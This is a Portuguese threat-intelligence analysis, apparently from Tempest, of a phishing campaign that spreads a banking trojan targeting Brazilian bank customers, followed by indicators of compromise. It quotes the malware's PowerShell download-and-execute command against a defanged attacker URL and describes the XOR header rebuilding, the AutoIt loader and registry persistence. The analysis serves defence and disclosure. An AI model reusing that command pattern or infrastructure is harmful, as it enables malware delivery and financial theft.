Campanha dissemina trojan bancário para clientes de bancos brasileiros

Photo by rawpixel on Unsplash

A equipe de Threat Intelligence da Tempest identificou uma campanha de phishing com o objetivo de disseminar um Trojan bancário com características evasivas, capazes de burlar sistemas antivírus, e que utiliza técnicas de ofuscação e de sobreposição de tela. Neste artigo, apresentaremos uma breve análise técnica desse Trojan, o qual captura informações financeiras de clientes de diversos bancos brasileiros.

A Tempest tomou conhecimento da campanha analisando e-mails cujo domínio @xzvagas.life foi considerado suspeito. As mensagens redirecionavam usuários para o endereço https[:]//github[.]com/pedroalcantara/cobrancass/archive/master[.]zip o qual não era identificado como malicioso pelo VirusTotal no momento da análise.

Imagem: VirusTotal

O endereço armazenava um arquivo (master.zip), responsável pelo estágio inicial de infecção, feito pelo script 29458369000124-Atualizado-para-05–10–2018.cmd, que executa um comando em PowerShell: iex(“IEX(New-ObjectNet.WebClient).DownloadString(‘https[:]//virelizoultda[.]online/nutrexdans/?a=Z0DEXUBSWD7FE45T3JHBMMJXCW3DON98P9LY3SRT')”); O comando, por sua vez, realiza o download de um artefato malicioso chamado da0r1sjnff.gif.

O artefato da0r1sjnff.gif não é detectado por mecanismos de segurança por não possuir um cabeçalho válido, o que também impediria a ameaça de ser executada. Entretanto, a ameaça é capaz de remontar seu cabeçalho utilizando um script que consiste em operações iterativas do tipo XOR.

Ao término dessa operação o artefato da0r1sjnff.gif passa por um procedimento de extração que resulta na geração de três arquivos, finalizando o processo de infecção:

1 — cgNAAT9FRtg.exe — Interpretador de scripts em Autoit;

2 — HdwXJFBREM — Script em Autoit (ofuscado);

3 — bak4j4pvsre4zzw50.dll — Trojan bancário.

Os três arquivos seguem uma ordem de execução bem definida, na qual o interpretador de scripts Autoit (1) é responsável por interpretar o script ofuscado (2) que executará o Trojan bancário (3). Outro ponto de destaque é que o Trojan apenas será executado ao encontrar um argumento pré-definido em seu código: srR7ZmolMSByYMuhkJWWB. Essa característica é utilizada para dificultar as análises offline realizadas por um debugger.

Por fim, o malware ganha persistência no sistema operacional ao escrever sua execução na chave Run do registro do Windows.

As imagens abaixo representam as telas falsas (overlays) utilizadas pelo malware para sobrescrever páginas ou aplicações bancárias legítimas.

Os servidores de comando e controle (C2) identificados nesta análise estão fora do ar, no entanto, é comum a esse tipo de campanha mudar rapidamente de servidores C2, mantendo-os ativos apenas por um curto período de tempo.

MD5:

cgNAt9FRtg.exe: b06e67f9767e5023892d9698703ad098

bak4j4pvsre4zzw50.dll: fd6347fa22a2012800c0fa9e0fe02948

HdwXJFBREM: a535800efbeaf5f5f1286df4ed34dd7c

da0r1sjnff.gif: 237e5152f1d6bfa0634b40922f52d08f

URLs C2:

github[.]com/pedroalcantara/cobrancass/archive/master[.]zip

virelizoultda[.]online/nutrexdans

aulasparajovems[.]online[:]443

gostozinhadopapai[.]dynalias[.]org[:]832